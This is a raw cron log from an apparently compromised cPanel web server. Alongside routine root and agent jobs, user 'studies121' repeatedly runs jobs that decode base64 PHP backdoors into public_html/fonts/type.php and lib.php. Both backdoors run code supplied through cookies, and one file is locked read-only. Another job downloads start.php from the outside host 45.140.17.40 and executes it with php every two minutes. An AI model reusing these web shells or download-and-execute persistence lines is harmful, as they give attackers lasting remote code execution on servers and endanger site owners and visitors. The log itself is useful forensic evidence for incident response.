Sep 20 08:51:01 ip-184-168-122-23 CROND[27908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:51:01 ip-184-168-122-23 CROND[27911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:51:01 ip-184-168-122-23 CROND[27913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:52:01 ip-184-168-122-23 CROND[28163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:52:01 ip-184-168-122-23 CROND[28162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:52:01 ip-184-168-122-23 CROND[28166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:52:01 ip-184-168-122-23 CROND[28170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:52:01 ip-184-168-122-23 CROND[28165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:53:02 ip-184-168-122-23 CROND[28548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:53:02 ip-184-168-122-23 CROND[28550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:53:02 ip-184-168-122-23 CROND[28551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:53:02 ip-184-168-122-23 CROND[28552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:54:01 ip-184-168-122-23 CROND[28786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:54:01 ip-184-168-122-23 CROND[28788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:54:01 ip-184-168-122-23 CROND[28789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:54:01 ip-184-168-122-23 CROND[28790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:54:01 ip-184-168-122-23 CROND[28791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:55:01 ip-184-168-122-23 CROND[29061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:55:01 ip-184-168-122-23 CROND[29062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:55:01 ip-184-168-122-23 CROND[29066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:55:01 ip-184-168-122-23 CROND[29067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:55:01 ip-184-168-122-23 CROND[29069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:55:01 ip-184-168-122-23 CROND[29070]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:56:01 ip-184-168-122-23 CROND[29358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:56:01 ip-184-168-122-23 CROND[29359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:56:01 ip-184-168-122-23 CROND[29362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:56:01 ip-184-168-122-23 CROND[29363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:56:01 ip-184-168-122-23 CROND[29364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:57:01 ip-184-168-122-23 CROND[29660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:57:01 ip-184-168-122-23 CROND[29663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:57:01 ip-184-168-122-23 CROND[29662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:57:01 ip-184-168-122-23 CROND[29661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:58:01 ip-184-168-122-23 CROND[29980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:58:01 ip-184-168-122-23 CROND[29982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:58:01 ip-184-168-122-23 CROND[29984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:58:01 ip-184-168-122-23 CROND[29983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:58:01 ip-184-168-122-23 CROND[29985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:59:02 ip-184-168-122-23 CROND[30244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:59:02 ip-184-168-122-23 CROND[30245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:59:02 ip-184-168-122-23 CROND[30246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:59:02 ip-184-168-122-23 CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:00:01 ip-184-168-122-23 CROND[30559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30565]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30567]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:00:01 ip-184-168-122-23 CROND[30564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:00:01 ip-184-168-122-23 CROND[30563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:01:02 ip-184-168-122-23 CROND[30846]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 09:01:02 ip-184-168-122-23 CROND[30847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30846]: starting 0anacron
Sep 20 09:01:02 ip-184-168-122-23 CROND[30852]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 09:01:02 ip-184-168-122-23 CROND[30856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:01:02 ip-184-168-122-23 CROND[30855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:01:02 ip-184-168-122-23 CROND[30857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30866]: finished 0anacron
Sep 20 09:02:01 ip-184-168-122-23 CROND[31098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:02:01 ip-184-168-122-23 CROND[31100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:02:01 ip-184-168-122-23 CROND[31102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:02:01 ip-184-168-122-23 CROND[31101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:02:01 ip-184-168-122-23 CROND[31103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:03:02 ip-184-168-122-23 CROND[31428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
